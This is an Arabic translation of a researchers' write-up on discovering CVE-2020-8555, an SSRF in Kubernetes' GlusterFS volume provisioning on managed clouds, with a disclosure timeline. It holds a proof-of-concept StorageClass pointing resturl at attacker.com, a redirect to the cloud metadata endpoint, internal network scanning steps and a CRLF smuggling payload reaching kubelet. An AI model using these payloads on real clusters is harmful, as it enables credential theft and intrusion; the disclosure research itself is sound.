عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

ملحوظة. ترجمة.: يتحدث مؤلفو هذه المقالة بالتفصيل عن كيفية تمكنهم من اكتشاف الثغرة الأمنية CVE-2020-8555 في كوبيرنيتيس. على الرغم من أن الأمر لم يكن خطيرًا جدًا في البداية، إلا أنه مع عوامل أخرى، تبين أن أهميته القصوى بالنسبة لبعض موفري الخدمات السحابية. كافأت العديد من المنظمات المتخصصين بسخاء على عملهم.

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

من نحن

نحن باحثان أمنيان فرنسيان اكتشفنا معًا ثغرة أمنية في Kubernetes. أسماؤنا هما Brice Augras وChristophe Hauquiert، ولكننا معروفون في العديد من منصات Bug Bounty باسم Reeverzax وHach على التوالي:

ماذا حدث؟

هذه المقالة هي طريقتنا لمشاركة كيف تحول مشروع بحث عادي بشكل غير متوقع إلى المغامرة الأكثر إثارة في حياة صائدي الأخطاء (على الأقل في الوقت الحالي).

كما تعلم على الأرجح، يتمتع صائدو الأخطاء ببعض الميزات البارزة:

  • إنهم يعيشون على البيتزا والبيرة.
  • إنهم يعملون عندما يكون الجميع نائمين.

نحن لسنا استثناءً من هذه القواعد: نلتقي عادةً في عطلات نهاية الأسبوع ونقضي ليالٍ بلا نوم في القرصنة. لكن إحدى هذه الليالي انتهت بطريقة غير عادية للغاية.

في البداية كنا سنجتمع لمناقشة المشاركة في CTF اليوم المقبل. خلال محادثة حول أمان Kubernetes في بيئة الخدمة المُدارة، تذكرنا الفكرة القديمة لـ SSRF (تزوير الطلب من جانب الخادم) وقررت تجربة استخدامه كبرنامج نصي للهجوم.

في الساعة 11 مساءً جلسنا لإجراء بحثنا وذهبنا إلى الفراش في الصباح الباكر، ونحن راضون جدًا عن النتائج. بفضل هذا البحث، صادفنا برنامج MSRC Bug Bounty وتوصلنا إلى استغلال لتصعيد الامتيازات.

مرت عدة أسابيع/أشهر، وأسفرت نتائجنا غير المتوقعة عن واحدة من أعلى المكافآت في تاريخ Azure Cloud Bug Bounty - بالإضافة إلى تلك التي تلقيناها من Kubernetes!

بناءً على مشروعنا البحثي، نشرت لجنة أمان منتج Kubernetes CVE-2020-8555.

الآن أود أن أنشر معلومات حول الثغرة الأمنية المكتشفة قدر الإمكان. نأمل أن تقدر العثور على التفاصيل الفنية ومشاركتها مع الأعضاء الآخرين في مجتمع infosec!

إذن ها هي قصتنا...

السياق

لتحقيق أقصى استفادة مما حدث، دعونا نلقي نظرة أولاً على كيفية عمل Kubernetes في بيئة سحابية مُدارة.

عند إنشاء مثيل لمجموعة Kubernetes في مثل هذه البيئة، تكون طبقة الإدارة عادةً مسؤولية موفر السحابة:

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...
تقع طبقة التحكم في محيط موفر السحابة، بينما تقع عقد Kubernetes في محيط العميل

لتخصيص وحدات التخزين ديناميكيًا، يتم استخدام آلية لتوفيرها ديناميكيًا من واجهة تخزين خارجية ومقارنتها مع PVC (مطالبة مستمرة بالحجم، أي طلب لوحدة تخزين).

وبالتالي، بعد إنشاء PVC وربطه بـ StorageClass في مجموعة K8s، يتم اتخاذ المزيد من الإجراءات لتوفير الحجم بواسطة مدير وحدة التحكم kube/cloud (يعتمد اسمه الدقيق على الإصدار). (ملحوظة. ترجمة.: لقد كتبنا بالفعل المزيد عن CCM باستخدام مثال تنفيذه لأحد موفري الخدمات السحابية هنا.)

هناك عدة أنواع من مقدمي الخدمة الذين يدعمهم Kubernetes: يتم تضمين معظمها في جوهر الأوركسترا، بينما تتم إدارة الآخرين بواسطة موفري خدمات إضافيين يتم وضعهم في حجرات في المجموعة.

ركزنا في بحثنا على آلية توفير الحجم الداخلي، وهي موضحة أدناه:

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...
التزويد الديناميكي لوحدات التخزين باستخدام مزود Kubernetes المدمج

باختصار، عندما يتم نشر Kubernetes في بيئة مُدارة، يكون مدير وحدة التحكم هو مسؤولية موفر السحابة، لكن طلب إنشاء وحدة التخزين (رقم 3 في الرسم البياني أعلاه) يترك الشبكة الداخلية لموفر السحابة. وهذا هو المكان الذي تصبح فيه الأمور مثيرة للاهتمام حقًا!

سيناريو القرصنة

سنشرح في هذا القسم كيف استفدنا من سير العمل المذكور أعلاه والوصول إلى الموارد الداخلية لمزود الخدمة السحابية. وسيوضح لك أيضًا كيف يمكنك تنفيذ إجراءات معينة، مثل الحصول على بيانات الاعتماد الداخلية أو الامتيازات المتصاعدة.

ساعد أحد التلاعبات البسيطة (في هذه الحالة، تزوير طلب جانب الخدمة) في تجاوز بيئة العميل إلى مجموعات من موفري الخدمة المختلفين ضمن K8s المُدارة.

ركزنا في بحثنا على مزود GlusterFS. على الرغم من وصف التسلسل الإضافي للإجراءات في هذا السياق، إلا أن Quobyte وStorageOS وScaleIO عرضة لنفس الثغرة الأمنية.

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...
إساءة استخدام آلية توفير الحجم الديناميكي

أثناء تحليل فئة التخزين GlusterFS في كود مصدر عميل Golang نحن لاحظتأنه في أول طلب HTTP (3) تم إرساله أثناء إنشاء وحدة التخزين، إلى نهاية عنوان URL المخصص في المعلمة resturl يضاف /volumes.

قررنا التخلص من هذا المسار الإضافي بإضافة # في المعلمة resturl. إليك أول تكوين YAML استخدمناه لاختبار ثغرة SSRF شبه العمياء (يمكنك قراءة المزيد عن SSRF شبه أعمى أو نصف أعمى، على سبيل المثال، هنا - تقريبا. ترجمة.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ثم استخدمنا الثنائي لإدارة مجموعة Kubernetes عن بعد kubectl. عادةً، يسمح لك موفرو الخدمات السحابية (Azure، وGoogle، وAWS، وما إلى ذلك) بالحصول على بيانات الاعتماد لاستخدامها في هذه الأداة المساعدة.

وبفضل هذا، تمكنت من استخدام ملفي "الخاص". قام Kube-controller-manager بتنفيذ طلب HTTP الناتج:

kubectl create -f sc-poc.yaml

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...
الجواب من وجهة نظر المهاجم

وبعد فترة وجيزة، تمكنا أيضًا من تلقي استجابة HTTP من الخادم الهدف - عبر الأوامر describe pvc أو get events في كوبيكتل. وبالفعل: برنامج تشغيل Kubernetes الافتراضي هذا مطول جدًا في رسائل التحذير/الخطأ الخاصة به...

هنا مثال مع رابط ل https://www.google.frتعيين كمعلمة resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

في هذا النهج، اقتصرنا على استعلامات مثل بريد HTTP ولا يمكن الحصول على محتويات نص الاستجابة إذا كان رمز الإرجاع 201. لذلك، قررنا إجراء بحث إضافي وتوسيع سيناريو القرصنة هذا بأساليب جديدة.

تطور أبحاثنا

  • السيناريو المتقدم رقم 1: استخدام إعادة التوجيه 302 من خادم خارجي لتغيير طريقة HTTP لتوفير طريقة أكثر مرونة لجمع البيانات الداخلية.
  • السيناريو المتقدم رقم 2: أتمتة فحص الشبكة المحلية (LAN) واكتشاف الموارد الداخلية.
  • السيناريو المتقدم رقم 3: استخدام HTTP CRLF + التهريب ("طلب التهريب") لإنشاء طلبات HTTP مخصصة واسترداد البيانات المستخرجة من سجلات وحدة تحكم kube.

المواصفات الفنية

  • استخدم البحث خدمة Azure Kubernetes (AKS) مع الإصدار 1.12 من Kubernetes في منطقة شمال أوروبا.
  • تم تنفيذ السيناريوهات الموضحة أعلاه على أحدث إصدارات Kubernetes، باستثناء السيناريو الثالث، لأنه كان بحاجة إلى إنشاء Kubernetes باستخدام إصدار Golang ≥ 1.12.
  • الخادم الخارجي للمهاجم - https://attacker.com.

السيناريو المتقدم رقم 1: إعادة توجيه طلب HTTP POST إلى GET واستقبال البيانات الحساسة

تم تحسين الطريقة الأصلية من خلال تكوين خادم المهاجم للعودة 302 إعادة ترميز HTTPلتحويل طلب POST إلى طلب GET (الخطوة 4 في الرسم التخطيطي):

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

الطلب الأول (3) قادم من العميل GlusterFS (مدير وحدة التحكم)، له نوع POST. باتباع الخطوات التالية تمكنا من تحويله إلى GET:

  • كمعلمة resturl في StorageClass يشار إليه http://attacker.com/redirect.php.
  • نقطة النهاية https://attacker.com/redirect.php يستجيب برمز حالة HTTP 302 مع رأس الموقع التالي: http://169.254.169.254. يمكن أن يكون هذا أي مورد داخلي آخر - في هذه الحالة، يتم استخدام رابط إعادة التوجيه كمثال فقط.
  • بشكل افتراضي مكتبة نت/http يقوم Golang بإعادة توجيه الطلب وتحويل POST إلى GET برمز الحالة 302، مما يؤدي إلى طلب HTTP GET إلى المورد الهدف.

لقراءة نص استجابة HTTP ما عليك القيام به describe كائن PVC:

kubectl describe pvc xxx

فيما يلي مثال لاستجابة HTTP بتنسيق JSON التي تمكنا من تلقيها:

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

وكانت إمكانيات الثغرة المكتشفة في ذلك الوقت محدودة بسبب النقاط التالية:

  • عدم القدرة على إدراج رؤوس HTTP في الطلب الصادر.
  • عدم القدرة على تنفيذ طلب POST مع المعلمات الموجودة في النص (وهذا مناسب لطلب قيمة المفتاح من مثيل etcd الذي يعمل على 2379 المنفذ في حالة استخدام HTTP غير مشفر).
  • عدم القدرة على استرداد محتوى نص الاستجابة عندما كان رمز الحالة 200 ولم يكن للاستجابة نوع محتوى JSON.

السيناريو المتقدم رقم 2: فحص الشبكة المحلية

تم بعد ذلك استخدام طريقة SSRF نصف العمياء لفحص الشبكة الداخلية لموفر الخدمة السحابية واستطلاع خدمات الاستماع المختلفة (مثيل البيانات الوصفية، Kubelet، إلخ، وما إلى ذلك) بناءً على الردود. وحدة تحكم كوبي.

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

أولاً، تم تحديد منافذ الاستماع القياسية لمكونات Kubernetes (8443، 10250، 10251، وما إلى ذلك)، ثم كان علينا أتمتة عملية المسح.

نظرًا لأن طريقة مسح الموارد هذه محددة للغاية وغير متوافقة مع الماسحات الضوئية الكلاسيكية وأدوات SSRF، فقد قررنا إنشاء العاملين الخاصين بنا في برنامج نصي bash يعمل على أتمتة العملية بأكملها.

على سبيل المثال، من أجل مسح النطاق 172.16.0.0/12 للشبكة الداخلية بسرعة، تم إطلاق 15 عاملاً بالتوازي. تم تحديد نطاق IP المذكور أعلاه كمثال فقط وقد يخضع للتغيير في نطاق IP الخاص بمزود الخدمة المحدد الخاص بك.

لمسح عنوان IP واحد ومنفذ واحد، عليك القيام بما يلي:

  • حذف StorageClass المحدد الأخير؛
  • إزالة المطالبة السابقة بالحجم المستمر التي تم التحقق منها؛
  • تغيير قيم IP والمنفذ في sc.yaml;
  • إنشاء StorageClass باستخدام عنوان IP ومنفذ جديدين؛
  • إنشاء PVC جديد.
  • استخراج نتائج المسح باستخدام وصف PVC.

السيناريو المتقدم رقم 3: حقن CRLF + تهريب HTTP في الإصدارات "القديمة" من مجموعة Kubernetes

بالإضافة إلى ذلك، قدم المزود للعملاء إصدارات قديمة من مجموعة K8s и ومنحهم إمكانية الوصول إلى سجلات kube-controller-manager، وأصبح التأثير أكثر أهمية.

إنه بالفعل أكثر ملاءمة للمهاجم لتغيير طلبات HTTP المصممة للحصول على استجابة HTTP كاملة وفقًا لتقديره.

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

لتنفيذ السيناريو الأخير، كان لا بد من استيفاء الشروط التالية:

  • يجب أن يكون لدى المستخدم حق الوصول إلى سجلات kube-controller-manager (كما هو الحال، على سبيل المثال، في Azure LogInsights).
  • يجب أن تستخدم مجموعة Kubernetes إصدارًا من Golang أقل من 1.12.

قمنا بنشر بيئة محلية تحاكي الاتصال بين عميل GlusterFS Go وخادم هدف مزيف (سنمتنع عن نشر إثبات المفهوم في الوقت الحالي).

وجد عالي التأثر، مما يؤثر على إصدارات Golang الأقل من 1.12 ويسمح للمتسللين بتنفيذ هجمات تهريب HTTP/CRLF.

من خلال الجمع بين SSRF نصف أعمى الموصوف أعلاه معا وبهذا، تمكنا من إرسال الطلبات حسب رغبتنا، بما في ذلك استبدال الرؤوس وطريقة HTTP والمعلمات والبيانات، والتي قام kube-controller-manager بمعالجتها بعد ذلك.

فيما يلي مثال على "الطعم" العامل في المعلمة resturl StorageClass، الذي ينفذ سيناريو هجوم مماثل:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

والنتيجة خطأ استجابة غير مرغوب فيها، وهي رسالة يتم تسجيلها في سجلات وحدة التحكم. بفضل تمكين الإسهاب افتراضيًا، يتم أيضًا حفظ محتويات رسالة استجابة HTTP هناك.

عندما لا يتعلق الأمر فقط بنقاط الضعف في Kubernetes...

وكان هذا هو "الطعم" الأكثر فعالية لدينا في إطار إثبات المفهوم.

باستخدام هذا النهج، تمكنا من تنفيذ بعض الهجمات التالية على مجموعات من موفري k8s المُدارين المختلفين: تصعيد الامتيازات باستخدام بيانات الاعتماد في مثيلات البيانات الوصفية، وMaster DoS عبر طلبات HTTP (غير المشفرة) على المثيلات الرئيسية etcd، وما إلى ذلك.

الآثار

في بيان Kubernetes الرسمي بخصوص ثغرة SSRF التي اكتشفناها، تم تصنيفها سي في إس إس 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. إذا أخذنا في الاعتبار فقط الثغرة الأمنية المرتبطة بمحيط Kubernetes، فهي متجهة التكامل (ناقل النزاهة) إنه مؤهل ك بدون اضاءة.

ومع ذلك، فإن تقييم العواقب المحتملة في سياق بيئة الخدمة المُدارة (وكان هذا هو الجزء الأكثر إثارة للاهتمام في بحثنا!) دفعنا إلى إعادة تصنيف الثغرة الأمنية إلى تصنيف CVSS10/10 الحرجة للعديد من الموزعين.

فيما يلي معلومات إضافية لمساعدتك على فهم اعتباراتنا عند تقييم التأثيرات المحتملة في البيئات السحابية:

سلامة

  • تنفيذ الأوامر عن بعد باستخدام بيانات الاعتماد الداخلية المكتسبة.
  • إعادة إنتاج السيناريو أعلاه باستخدام طريقة IDOR (مرجع الكائن المباشر غير الآمن) مع الموارد الأخرى الموجودة على الشبكة المحلية.

Конфиденциальность

  • نوع الهجوم الحركة الجانبية وذلك بفضل سرقة بيانات الاعتماد السحابية (على سبيل المثال، واجهة برمجة تطبيقات البيانات الوصفية).
  • جمع المعلومات عن طريق مسح الشبكة المحلية (تحديد إصدار SSH، إصدار خادم HTTP، ...).
  • قم بتجميع معلومات المثيل والبنية التحتية عن طريق استطلاع واجهات برمجة التطبيقات الداخلية مثل واجهة برمجة تطبيقات بيانات التعريف (http://169.254.169.254، ...).
  • سرقة بيانات العملاء باستخدام بيانات الاعتماد السحابية.

توفر

جميع سيناريوهات الاستغلال المتعلقة بنواقل الهجوم نزاهة، يمكن استخدامه في الإجراءات التدميرية ويؤدي إلى عدم توفر مثيلات رئيسية من محيط العميل (أو أي محيط آخر).

وبما أننا كنا في بيئة K8s مُدارة ونقوم بتقييم التأثير على النزاهة، يمكننا تخيل العديد من السيناريوهات التي يمكن أن تؤثر على التوفر. تتضمن الأمثلة الإضافية إتلاف قاعدة بيانات etcd أو إجراء اتصال مهم بواجهة برمجة تطبيقات Kubernetes.

التسلسل الزمني

  • 6 ديسمبر 2019: تم الإبلاغ عن الثغرات الأمنية إلى MSRC Bug Bounty.
  • 3 يناير 2020: أبلغ طرف ثالث مطوري Kubernetes بأننا نعمل على حل مشكلة أمنية. وطلبت منهم اعتبار SSRF بمثابة ثغرة أمنية داخلية (داخلية). ثم قمنا بتقديم تقرير عام يتضمن تفاصيل فنية حول مصدر المشكلة.
  • 15 يناير 2020: قدمنا ​​تقارير فنية وعامة لمطوري Kubernetes بناءً على طلبهم (عبر منصة HackerOne).
  • 15 يناير 2020: أبلغنا مطورو Kubernetes أن حقن SSRF + CRLF نصف المعمى للإصدارات السابقة يعتبر ثغرة أمنية أساسية. توقفنا على الفور عن تحليل محيط مقدمي الخدمة الآخرين: كان فريق K8s يتعامل الآن مع السبب الجذري.
  • 15 يناير 2020: تم استلام مكافأة MSRC من خلال HackerOne.
  • 16 يناير 2020: أدركت Kubernetes PSC (لجنة أمن المنتج) الثغرة الأمنية وطلبت إبقاءها سرية حتى منتصف مارس بسبب العدد الكبير من الضحايا المحتملين.
  • 11 فبراير 2020: تم استلام مكافأة Google VRP.
  • 4 مارس 2020: تم استلام مكافأة Kubernetes من خلال HackerOne.
  • 15 مارس 2020: تم تأجيل الإفصاح العام المقرر في الأصل بسبب وضع فيروس كورونا (COVID-19).
  • 1 يونيو 2020: بيان Kubernetes + Microsoft المشترك حول الثغرة الأمنية.

TL؛ DR

  • نشرب بيرة ونأكل بيتزا :)
  • لقد اكتشفنا ثغرة أمنية أساسية في Kubernetes، على الرغم من أنه لم تكن لدينا أي نية للقيام بذلك.
  • لقد أجرينا تحليلًا إضافيًا على مجموعات من موفري الخدمات السحابية المختلفين وتمكنا من زيادة الضرر الناجم عن الثغرة الأمنية للحصول على مكافآت إضافية رائعة.
  • ستجد الكثير من التفاصيل الفنية في هذه المقالة. سنكون سعداء بمناقشتها معك (تويتر: @ReeverZax & @__hach_).
  • اتضح أن جميع أنواع الإجراءات والتقارير استغرقت وقتًا أطول بكثير من المتوقع.

مراجع

PS من المترجم

اقرأ أيضًا على مدونتنا:

المصدر: www.habr.com

إضافة تعليق